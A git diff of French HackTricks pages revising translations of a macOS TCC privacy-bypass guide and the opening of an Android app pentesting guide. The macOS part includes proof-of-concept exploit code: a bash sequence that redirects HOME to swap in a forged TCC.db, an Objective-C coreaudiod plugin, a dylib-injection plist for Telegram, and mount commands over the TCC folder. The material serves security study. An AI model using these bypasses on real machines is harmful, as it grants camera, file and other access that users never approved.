* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -28,7 +28,26 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
L'**attribut étendu `com.apple.macl`** est ajouté au nouveau **fichier** pour donner accès à l'**application créatrice** pour le lire.
|
||||
Le **attribut étendu `com.apple.macl`** est ajouté au nouveau **fichier** pour donner accès à l'**application créatrice** pour le lire.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Il est possible de **placer une fenêtre sur la boîte de dialogue TCC** pour que l'utilisateur l'**accepte** sans s'en rendre compte. Vous pouvez trouver une preuve de concept dans [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### Demande TCC par nom arbitraire
|
||||
|
||||
Un attaquant peut **créer des applications avec n'importe quel nom** (par exemple Finder, Google Chrome...) dans le **`Info.plist`** et les faire demander l'accès à un emplacement protégé par TCC. L'utilisateur pensera que l'application légitime est celle qui demande cet accès.\
|
||||
De plus, il est possible de **retirer l'application légitime du Dock et mettre la fausse à sa place**, ainsi lorsque l'utilisateur clique sur la fausse (qui peut utiliser le même icône), elle pourrait appeler la légitime, demander les permissions TCC et exécuter un logiciel malveillant, faisant croire à l'utilisateur que l'application légitime a demandé l'accès.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Plus d'informations et une preuve de concept dans :
|
||||
|
||||
{% content-ref url="../../../macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](../../../macos-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Contournement SSH
|
||||
|
||||
|
@ -46,9 +65,9 @@ Notez que maintenant, pour pouvoir activer SSH, vous avez besoin d'**Accès comp
|
|||
|
||||
### Gérer les extensions - CVE-2022-26767
|
||||
|
||||
L'attribut **`com.apple.macl`** est donné aux fichiers pour donner à une **certaine application des autorisations pour le lire**. Cet attribut est défini lorsque vous **faites glisser et déposez** un fichier sur une application, ou lorsque l'utilisateur **double-clique** sur un fichier pour l'ouvrir avec l'**application par défaut**.
|
||||
L'attribut **`com.apple.macl`** est donné aux fichiers pour donner à une **certaine application des autorisations pour les lire**. Cet attribut est défini lorsque l'utilisateur **fait glisser-déposer** un fichier sur une application, ou lorsque l'utilisateur **double-clique** sur un fichier pour l'ouvrir avec l'**application par défaut**.
|
||||
|
||||
Par conséquent, un utilisateur pourrait **enregistrer une application malveillante** pour gérer toutes les extensions et appeler les Services de lancement pour **ouvrir** n'importe quel fichier (ainsi le fichier malveillant aura l'autorisation de le lire).
|
||||
Par conséquent, un utilisateur pourrait **enregistrer une application malveillante** pour gérer toutes les extensions et appeler les Services de lancement pour **ouvrir** n'importe quel fichier (ainsi le fichier malveillant obtiendra l'accès pour le lire).
|
||||
|
||||
### iCloud
|
||||
|
||||
|
@ -108,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
Le démon **tccd** de l'espace utilisateur utilise la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC à partir de : **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
Le démon **tccd** de l'espace utilisateur utilise la variable d'environnement **`HOME`** pour accéder à la base de données des utilisateurs TCC à partir de: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Selon [ce post Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le démon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont transmises.\
|
||||
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le démon **TCC**, puis **modifier directement la base de données TCC** pour se donner **tous les droits TCC disponibles** sans jamais demander l'autorisation de l'utilisateur final.\
|
||||
Selon [cette publication sur Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le démon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont transmises.\
|
||||
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le démon **TCC**, puis **modifier directement la base de données TCC** pour s'attribuer **tous les privilèges TCC disponibles** sans jamais demander l'autorisation de l'utilisateur final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -149,7 +168,7 @@ Les notes avaient accès aux emplacements protégés par TCC mais lorsqu'une not
|
|||
|
||||
Le binaire `/usr/libexec/lsd` avec la bibliothèque `libsecurity_translocate` avait l'entitlement `com.apple.private.nullfs_allow` qui lui permettait de créer un montage **nullfs** et avait l'entitlement `com.apple.private.tcc.allow` avec **`kTCCServiceSystemPolicyAllFiles`** pour accéder à tous les fichiers.
|
||||
|
||||
Il était possible d'ajouter l'attribut de quarantaine à "Library", d'appeler le service XPC **`com.apple.security.translocation`** et ensuite de mapper Library vers **`$TMPDIR/AppTranslocation/d/d/Library`** où tous les documents à l'intérieur de Library pouvaient être **accédés**.
|
||||
Il était possible d'ajouter l'attribut de quarantaine à "Library", d'appeler le service XPC **`com.apple.security.translocation`** et ensuite de mapper Library vers **`$TMPDIR/AppTranslocation/d/d/Library`** où tous les documents à l'intérieur de Library pouvaient être **accessibles**.
|
||||
|
||||
### CVE-2023-38571 - Musique & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
|
@ -158,11 +177,11 @@ Il était possible d'ajouter l'attribut de quarantaine à "Library", d'appeler l
|
|||
* `a = "~/Musique/Musique/Media.localized/Ajouter automatiquement à Musique.localized/monfichier.mp3"`
|
||||
* `b = "~/Musique/Musique/Media.localized/Ajouter automatiquement à Musique.localized/Non ajouté.localized/2023-09-25 11.06.28/monfichier.mp3`
|
||||
|
||||
Ce comportement de **`rename(a, b);** est vulnérable à une **Condition de Course**, car il est possible de placer à l'intérieur du dossier `Ajouter automatiquement à Musique.localized` un faux fichier **TCC.db** et ensuite lorsque le nouveau dossier (b) est créé pour copier le fichier, le supprimer, et le pointer vers **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
Ce comportement de **`rename(a, b);** est vulnérable à une **Condition de Course**, car il est possible de placer à l'intérieur du dossier `Ajouter automatiquement à Musique.localized` un faux fichier **TCC.db** et ensuite lorsque le nouveau dossier (b) est créé pour copier le fichier, le supprimer, et le pointer vers **`~/Bibliothèque/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
Si **`SQLITE_SQLLOG_DIR="chemin/dossier"`** signifie essentiellement que **toute base de données ouverte est copiée dans ce chemin**. Dans ce CVE, ce contrôle a été abusé pour **écrire** à l'intérieur d'une **base de données SQLite** qui va être **ouverte par un processus avec la base de données TCC**, puis abuser de **`SQLITE_SQLLOG_DIR`** avec un **symlink dans le nom de fichier** afin que lorsque cette base de données est **ouverte**, la base de données utilisateur **TCC.db soit écrasée** par celle ouverte.\
|
||||
Si **`SQLITE_SQLLOG_DIR="chemin/dossier"`** signifie essentiellement que **toute base de données ouverte est copiée dans ce chemin**. Dans ce CVE, ce contrôle a été abusé pour **écrire** à l'intérieur d'une **base de données SQLite** qui va être **ouverte par un processus avec la base de données TCC**, puis abuser de **`SQLITE_SQLLOG_DIR`** avec un **symlink dans le nom de fichier** de sorte que lorsque cette base de données est **ouverte**, la base de données utilisateur **TCC.db est écrasée** par celle ouverte.\
|
||||
**Plus d'informations** [**dans l'analyse**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **et** [**dans la présentation**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
@ -191,7 +210,7 @@ Ce n'est pas sécurisé car il doit **résoudre les anciens et nouveaux chemins
|
|||
{% hint style="danger" %}
|
||||
Donc, en gros, si un processus privilégié renomme à partir d'un dossier que vous contrôlez, vous pourriez obtenir une RCE et le faire accéder à un fichier différent ou, comme dans ce CVE, ouvrir le fichier créé par l'application privilégiée et stocker un FD.
|
||||
|
||||
Si le renommage accède à un dossier que vous contrôlez, tout en ayant modifié le fichier source ou en ayant un FD vers celui-ci, vous pouvez changer le fichier de destination (ou le dossier) pour pointer vers un lien symbolique, afin que vous puissiez écrire quand vous le souhaitez.
|
||||
Si le renommage accède à un dossier que vous contrôlez, tout en ayant modifié le fichier source ou en ayant un FD vers celui-ci, vous pouvez modifier le fichier de destination (ou le dossier) pour pointer vers un lien symbolique, afin que vous puissiez écrire quand vous le souhaitez.
|
||||
{% endhint %}
|
||||
|
||||
C'était l'attaque dans le CVE : Par exemple, pour écraser la base de données utilisateur `TCC.db`, nous pouvons :
|
||||
|
@ -203,7 +222,7 @@ C'était l'attaque dans le CVE : Par exemple, pour écraser la base de données
|
|||
* intercepter l'`open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X est aléatoire)
|
||||
* ici nous ouvrons également ce fichier pour l'écriture, et conservons le descripteur de fichier
|
||||
* basculer de manière atomique `/Users/hacker/tmp` avec `/Users/hacker/notrelien` **dans une boucle**
|
||||
* nous faisons cela pour maximiser nos chances de réussir car la fenêtre de course est assez étroite, mais perdre la course a peu de conséquences
|
||||
* nous faisons cela pour maximiser nos chances de réussir car la fenêtre de course est assez étroite, mais perdre la course a des conséquences négligeables
|
||||
* attendre un peu
|
||||
* vérifier si nous avons eu de la chance
|
||||
* sinon, recommencer depuis le début
|
||||
|
@ -224,7 +243,7 @@ TCC utilise une base de données dans le dossier HOME de l'utilisateur pour cont
|
|||
Par conséquent, si l'utilisateur parvient à redémarrer TCC avec une variable d'environnement $HOME pointant vers un **dossier différent**, l'utilisateur pourrait créer une nouvelle base de données TCC dans **/Library/Application Support/com.apple.TCC/TCC.db** et tromper TCC pour accorder n'importe quelle permission TCC à n'importe quelle application.
|
||||
|
||||
{% hint style="success" %}
|
||||
Notez qu'Apple utilise le paramètre stocké dans le profil de l'utilisateur dans l'attribut **`NFSHomeDirectory`** pour la **valeur de `$HOME`**, donc si vous compromettez une application avec des autorisations pour modifier cette valeur (**`kTCCServiceSystemPolicySysAdminFiles`**), vous pouvez **exploiter** cette option avec une contournement de TCC.
|
||||
Notez qu'Apple utilise le paramètre stocké dans le profil de l'utilisateur dans l'attribut **`NFSHomeDirectory`** pour la **valeur de `$HOME`**, donc si vous compromettez une application avec des autorisations pour modifier cette valeur (**`kTCCServiceSystemPolicySysAdminFiles`**), vous pouvez **utiliser à des fins malveillantes** cette option avec une contournement de TCC.
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -236,10 +255,10 @@ Notez qu'Apple utilise le paramètre stocké dans le profil de l'utilisateur dan
|
|||
Le **premier POC** utilise [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) et [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) pour modifier le **dossier HOME** de l'utilisateur.
|
||||
|
||||
1. Obtenir un blob _csreq_ pour l'application cible.
|
||||
2. Placer un faux fichier _TCC.db_ avec l'accès requis et le blob _csreq_.
|
||||
3. Exporter l'entrée des services de répertoire de l'utilisateur avec [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modifier l'entrée des services de répertoire pour changer le dossier d'accueil de l'utilisateur.
|
||||
5. Importer l'entrée des services de répertoire modifiée avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
2. Placer un faux fichier _TCC.db_ avec les autorisations requises et le blob _csreq_.
|
||||
3. Exporter l'entrée des Services de répertoire de l'utilisateur avec [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modifier l'entrée des Services de répertoire pour changer le dossier d'accueil de l'utilisateur.
|
||||
5. Importer l'entrée des Services de répertoire modifiée avec [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
6. Arrêter le _tccd_ de l'utilisateur et redémarrer le processus.
|
||||
|
||||
Le deuxième POC utilisait **`/usr/libexec/configd`** qui avait `com.apple.private.tcc.allow` avec la valeur `kTCCServiceSystemPolicySysAdminFiles`.\
|
||||
|
@ -256,21 +275,20 @@ Il existe différentes techniques pour injecter du code dans un processus et abu
|
|||
{% endcontent-ref %}
|
||||
|
||||
De plus, l'injection de processus la plus courante pour contourner TCC est via les **plugins (chargement de bibliothèque)**.\
|
||||
Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou de plist, qui seront **chargés par l'application principale** et s'exécuteront sous son contexte. Par conséquent, si l'application principale avait accès aux fichiers restreints par TCC (via des autorisations accordées ou des entitlements), le **code personnalisé l'aura également**.
|
||||
Les plugins sont du code supplémentaire généralement sous forme de bibliothèques ou de plist, qui seront **chargés par l'application principale** et s'exécuteront dans son contexte. Par conséquent, si l'application principale avait accès aux fichiers restreints par TCC (via des autorisations accordées ou des entitlements), le **code personnalisé l'aura également**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait l'entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, chargeait des plugins avec l'extension **`.daplug`** et n'avait pas le runtime **renforcé**.
|
||||
L'application `/System/Library/CoreServices/Applications/Directory Utility.app` avait l'entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, chargeait des plugins avec l'extension **`.daplug`** et n'avait pas le runtime **hardened**.
|
||||
|
||||
Pour exploiter ce CVE, le **`NFSHomeDirectory`** est **modifié** (en abusant de l'entitlement précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC.
|
||||
Pour armer ce CVE, le **`NFSHomeDirectory`** est **modifié** (en abusant de l'entitlement précédent) afin de pouvoir **prendre le contrôle de la base de données TCC des utilisateurs** pour contourner TCC.
|
||||
|
||||
Pour plus d'informations, consultez le [**rapport original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
Le binaire **`/usr/sbin/coreaudiod`** avait les entitlements `com.apple.security.cs.disable-library-validation` et `com.apple.private.tcc.manager`. Le premier **permettait l'injection de code** et le second lui donnait accès à **gérer TCC**.
|
||||
Le binaire **`/usr/sbin/coreaudiod`** avait les autorisations `com.apple.security.cs.disable-library-validation` et `com.apple.private.tcc.manager`. Le premier **permettant l'injection de code** et le second lui donnant accès à **gérer TCC**.
|
||||
|
||||
Ce binaire permettait de charger des **plug-ins tiers** à partir du dossier `/Library/Audio/Plug-Ins/HAL`. Par conséquent, il était possible de **charger un plugin et d'abuser des permissions TCC** avec ce PoC:
|
||||
Ce binaire permettait de charger des **plug-ins tiers** depuis le dossier `/Library/Audio/Plug-Ins/HAL`. Par conséquent, il était possible de **charger un plugin et abuser des autorisations TCC** avec ce PoC:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -299,11 +317,11 @@ exit(0);
|
|||
```
|
||||
Pour plus d'informations, consultez le [**rapport original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||
|
||||
### Plug-ins de la couche d'abstraction des périphériques (DAL)
|
||||
### Modules d'extension de la couche d'abstraction des périphériques (DAL)
|
||||
|
||||
Les applications système qui ouvrent un flux de caméra via Core Media I/O (applications avec **`kTCCServiceCamera`**) chargent **dans le processus ces plugins** situés dans `/Library/CoreMediaIO/Plug-Ins/DAL` (non restreint par SIP).
|
||||
|
||||
Il suffit de stocker une bibliothèque avec le **constructeur** commun là-dedans pour **injecter du code**.
|
||||
Il suffit de stocker une bibliothèque avec le **constructeur** commun pour réussir à **injecter du code**.
|
||||
|
||||
Plusieurs applications Apple étaient vulnérables à cela.
|
||||
|
||||
|
@ -335,7 +353,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Pour plus d'informations sur la manière d'exploiter facilement ceci, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
Pour plus d'informations sur la façon d'exploiter facilement cela, [**consultez le rapport original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
|
@ -345,7 +363,7 @@ Le binaire `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` avait les
|
|||
|
||||
Telegram avait les autorisations **`com.apple.security.cs.allow-dyld-environment-variables`** et **`com.apple.security.cs.disable-library-validation`**, il était donc possible de l'exploiter pour **accéder à ses permissions** telles que l'enregistrement avec la caméra. Vous pouvez [**trouver la charge utile dans l'analyse**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Notez comment utiliser la variable d'environnement pour charger une bibliothèque, un **plist personnalisé** a été créé pour injecter cette bibliothèque et **`launchctl`** a été utilisé pour la lancer :
|
||||
Remarquez comment utiliser la variable d'environnement pour charger une bibliothèque, un **plist personnalisé** a été créé pour injecter cette bibliothèque et **`launchctl`** a été utilisé pour la lancer :
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -445,9 +463,7 @@ Une explication plus détaillée peut être [**trouvée dans le rapport original
|
|||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Montage sur le fichier TCC
|
||||
|
||||
Même si le fichier TCC DB est protégé, il était possible de **monter par-dessus le répertoire** un nouveau fichier TCC.db :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Même si le fichier de base de données TCC est protégé, il était possible de **monter sur le répertoire** un nouveau fichier TCC.db :
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
|
@ -487,7 +503,7 @@ Le dossier **`/var/db/locationd/` n'était pas protégé contre le montage de DM
|
|||
|
||||
## Par grep
|
||||
|
||||
À plusieurs reprises, des fichiers stockeront des informations sensibles telles que des e-mails, des numéros de téléphone, des messages... dans des emplacements non protégés (ce qui compte comme une vulnérabilité chez Apple).
|
||||
À plusieurs reprises, des fichiers stockeront des informations sensibles comme des e-mails, des numéros de téléphone, des messages... dans des emplacements non protégés (ce qui compte comme une vulnérabilité chez Apple).
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -499,7 +515,7 @@ Cela ne fonctionne plus, mais cela [**a fonctionné dans le passé**](https://tw
|
|||
|
||||
Une autre méthode utilisant les [**événements CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Référence
|
||||
|
||||
|
@ -517,7 +533,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,20 +9,20 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
@ -42,11 +42,11 @@ Il est fortement recommandé de commencer par lire cette page pour en savoir plu
|
|||
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\
|
||||
**ADB** permet de contrôler les appareils soit par **USB** soit par **Réseau** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'applications, l'**exécution** de commandes shell, la **sauvegarde** de données, la **lecture** de journaux, entre autres fonctions.
|
||||
|
||||
Jetez un œil à la liste suivante des [**Commandes ADB**](adb-commands.md) pour apprendre comment utiliser adb.
|
||||
Jetez un œil à la liste suivante des [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe bien obscurcis ou des indicateurs). Ensuite, il peut être intéressant de décompiler l'APK, modifier le code et le recompiler.\
|
||||
Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe bien obscurcis ou des indicateurs). Ensuite, il pourrait être intéressant de décompiler l'APK, de modifier le code et de le recompiler.\
|
||||
[Dans ce tutoriel](smali-changes.md), vous pouvez **apprendre à décompiler un APK, modifier le code Smali et recompiler l'APK** avec la nouvelle fonctionnalité. Cela pourrait être très utile comme **alternative pour plusieurs tests pendant l'analyse dynamique** qui vont être présentés. Ensuite, **gardez toujours à l'esprit cette possibilité**.
|
||||
|
||||
## Autres astuces intéressantes
|
||||
|
@ -70,7 +70,7 @@ Veuillez [**lire ici pour trouver des informations sur les différents décompil
|
|||
|
||||
### Recherche d'informations intéressantes
|
||||
|
||||
En examinant simplement les **chaînes de caractères** de l'APK, vous pouvez rechercher des **mots de passe**, des **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **clés API**, du **chiffrement**, des **UUID Bluetooth**, des **jetons** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants admin codés en dur dans l'application).
|
||||
En examinant simplement les **chaînes de caractères** de l'APK, vous pouvez rechercher des **mots de passe**, des **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des **clés API**, du **chiffrement**, des **UUID Bluetooth**, des **jetons** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administrateur codés en dur dans l'application).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -78,29 +78,23 @@ Portez une attention particulière aux **URLs Firebase** et vérifiez si elles s
|
|||
|
||||
### Compréhension de base de l'application - Manifest.xml, strings.xml
|
||||
|
||||
L'**examen des fichiers _Manifest.xml_ et _strings.xml_ d'une application peut révéler des vulnérabilités potentielles en matière de sécurité**. Ces fichiers peuvent être consultés en utilisant des décompilateurs ou en renommant l'extension du fichier APK en .zip, puis en le décompressant.
|
||||
L'**examen des fichiers** **_**Manifest.xml**_** et **_**strings.xml**_** d'une application peut révéler des vulnérabilités potentielles en matière de sécurité**. Ces fichiers peuvent être consultés en utilisant des décompilateurs ou en renommant l'extension du fichier APK en .zip, puis en le décompressant.
|
||||
|
||||
Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
|
||||
|
||||
* **Applications en mode débogage** : Les applications définies en mode débogage (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions pouvant conduire à une exploitation. Pour une meilleure compréhension de l'exploitation des applications en mode débogage, consultez un tutoriel sur la recherche et l'exploitation d'applications en mode débogage sur un appareil.
|
||||
|
||||
* **Paramètres de sauvegarde** : L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher les sauvegardes de données non autorisées via adb, surtout lorsque le débogage USB est activé.
|
||||
|
||||
